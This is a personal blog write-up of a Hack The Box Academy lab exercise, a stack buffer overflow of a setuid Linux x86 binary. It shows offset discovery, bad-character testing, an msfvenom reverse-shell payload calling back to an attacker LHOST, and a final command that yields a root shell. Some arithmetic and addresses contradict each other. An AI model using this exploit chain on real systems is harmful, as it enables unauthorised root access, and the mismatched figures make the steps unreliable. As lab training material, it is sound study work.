HackTheBoxPentesting

Hack The Box Academy – Buffer Overflow on Linux x86

While attempting a different reverse engineering / pwn challenge, I realized I needed more background knowledge on how to properly do a buffer overflow, thus I took the Stack-Based Buffer Overflows on Linux x86 case from HTB academy. This is my writeup of the final Skills Assessment

Discovery

First we need to see what file we are working with, get some starting addresses, then start debugging to see if we have the ability to overflow into the eip.

htb-student@nixbof32skills:~$ objdump -f leave_msg 
 leave_msg:     file format elf32-i386
 architecture: i386, flags 0x00000150:
 HAS_SYMS, DYNAMIC, D_PAGED
 start address 0x00000550

First, we check to see what file format, architecture and starting address of the file are using objdump -f.

If I try to disassemble with objdump -d, my terminal hangs when hitting the main function. Attempting to run this program either on its own or standalone causes an immediate segmentation fault. I find this a bit odd. I tried resetting the machine but it still does it, so it must be intended.

I found we need to pass a parameter to the program and then it pastes it in /home/htb-student/msg.txt. Each time you run the program, it wipes the file and inserts the new message.

Determining Buffer Overflow Vulnerability

Through some trial and error, I kept sending increasing amounts of \x55 to the program. Between 2000 and 2100 nets us a segmentation fault. We can find the exact offset with some metasploit scripts.

First I use /pattern_create.rb to give us a 2100 byte payload that we know will cause a segmentation fault:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb - l 2100

Next, back in gdb we can paste this in with python:

run $(python -c "print 'Aa0Aa1Aa2Aa3...6Cr7Cr8Cr9'")
...

Program received signal SIGSEGV, Segmentation fault.
0x37714336 in ?? ()

The program errors out and give us a unique hex code thanks to the pattern. Now we use this hexcode with another metasploit tool, pattern_offset.rb to get the exact number of characters needed to reach the eip register:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336
[*] Exact match at offset 2060

Taking Control of the eip

Voila! We now know it takes 2060 bytes to reach the eip. We can verify this with a special statement:

run $(python -c "print '\x55' * 2060 + '\x66' * 4")
...
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

This statement fills the buffer with \x55 bytes and then fills the eip with \x66. If we run info registers we can see this happening (trimmed for easy reading):

(gdb) info registers
...
 ebx            0x55555555       1431655765
...
 ebp            0x55555555       0x55555555
...
 eip            0x66666666       0x66666666
...

Now we know how to buffer overflow and take control of the eip to point to our own malicious address.

Identify initial payload length

Now we need to generate a payload with msfvenom. I ran uname -a on our machine and we have an Ubuntu x86_64 linux machine.

Now we can craft the payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> lport=4444 --platform linux --format c
...
Payload size: 74 bytes
...

This tells us our payload is 74 bytes.

Before we use our payload, we need to identify any bad characters the payload cannot have. We need to do some math to figure out exactly what to craft:

 Buffer = "\x55" * (2064 - 256 - 4) = 1804
  CHARS = "\x00\x01\x02...\xfe\xff" # 256
    EIP = "\x66" * 4'

So our buffer gets 1800 bytes, our character string is 256 bytes, and our eip is 4 bytes.

We will need to set a breakpoint so we can investigate the memory without the program crashing:

(gdb) disas main
Dump of assembler code for function main:
    0x0000073b <+0>:     lea    0x4(%esp),%ecx
    0x0000073f <+4>:     and    $0xfffffff0,%esp
    0x00000742 <+7>:     pushl  -0x4(%ecx)
    0x00000745 <+10>:    push   %ebp
    0x00000746 <+11>:    mov    %esp,%ebp
    0x00000748 <+13>:    push   %esi
    0x00000749 <+14>:    push   %ebx
    0x0000074a <+15>:    push   %ecx
    0x0000074b <+16>:    sub    $0xc,%esp
    0x0000074e <+19>:    call   0x590 <__x86.get_pc_thunk.bx>
    0x00000753 <+24>:    add    $0x1869,%ebx
    0x00000759 <+30>:    mov    %ecx,%esi
    0x0000075b <+32>:    sub    $0x4,%esp
    0x0000075e <+35>:    push   $0x0
    0x00000760 <+37>:    push   $0x0
    0x00000762 <+39>:    push   $0x0
    0x00000764 <+41>:    call   0x4b0 <setresuid@plt>
    0x00000769 <+46>:    add    $0x10,%esp
    0x0000076c <+49>:    mov    0x4(%esi),%eax
    0x0000076f <+52>:    add    $0x4,%eax
    0x00000772 <+55>:    mov    (%eax),%eax
    0x00000774 <+57>:    sub    $0xc,%esp
    0x00000777 <+60>:    push   %eax
    0x00000778 <+61>:    call   0x68d <leavemsg>
    0x0000077d <+66>:    add    $0x10,%esp
    0x00000780 <+69>:    sub    $0xc,%esp
    0x00000783 <+72>:    lea    -0x175c(%ebx),%eax
    0x00000789 <+78>:    push   %eax
    0x0000078a <+79>:    call   0x4f0 <outs@plt>
    0x0000078f <+84>:    add    $0x10,%esp
    0x00000792 <+87>:    mov    $0x0,%eax
    0x00000797 <+92>:    lea    -0xc(%ebp),%esp
    0x0000079a <+95>:    pop    %ecx
    0x0000079b <+96>:    pop    %ebx
    0x0000079c <+97>:    pop    %esi
    0x0000079d <+98>:    pop    %ebp
    0x0000079e <+99>:    lea    -0x4(%ecx),%esp
    0x000007a1 <+102>:   ret    


The best breakpoint would be at 0x778 where it makes the call to the actual leavemsg function. We can run break leavemsg to break on the function name.

Now We use this information to craft our actual testing payload:

(gdb) run $(python -c 'print "\x55" * (2064 - 256 - 4) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

Once we hit enter, it will pretty immediately hit the breakpoint for our function. Now is the time to examine the memory.

We can do so using x/2000xb $esp+750. The important part of this step is to find any chars that have been skipped and record them so msfvenom does not use them in its payload.

Here is what I found:

\x00\x09\x0a\x20

We can pass this in as a string for the option --bad-chars so msfvenom will avoid them:

Generate final payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.x.x lport=4444 --bad-chars="\x00\x09\x0a\x20" --platform linux --format c
...
Payload size: 95 bytes
...

Now we need to take the payload output and combine it into one big string.

With our string, we need to do one last math problem for final buffer and NOPs size:

    Buffer = "\x55" * (2064 - 100 - 95 - 4) = 790
      NOPs = "\x90" * 100
 Shellcode = "\xbd\x95\xf6...\x02\xce" #95
       EIP = "\x66" * 4'

And use this in the run $(python -c 'print ...') command.

Find address for payload

Our code will hit the breakpoint again. Now we need to find a line or two in the NOPs before our shellcode appears and use that memory address in the eip. Our shell code starts with 0x48 0x31 ... and will be the first bytes after the sequence of `0x90` bytes.

Our shellcode starts at 0xffffd73a. I’m going to set the eip a bit earlier at 0xffffd72a. This machine will need the bytes in little endian format, so the eip will be "\x2a\xd7\xff\xff".

Execute final payload

We replace the "\x66" * 4 in our run command with this new address. Finally let’s boot a new terminal with nc -lvnp 4444 so the connection can complete. This binary has root privileges with the suid set, so if we connect to it from gdb, it will run as the user gdb is running as.

So instead of doing another (gdb) run command, quit gdb and in the main shell run:

./leave_msg $(python -c 'print "\x55" * (2064 - 124 - 95 - 4) + "\x90" * 124 + "<payload>" + "\x3a\xd7\xff\xff"')


Our nc listener lights up, and whoami tells us we are root! Let’s grab that flag int /root/flag.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.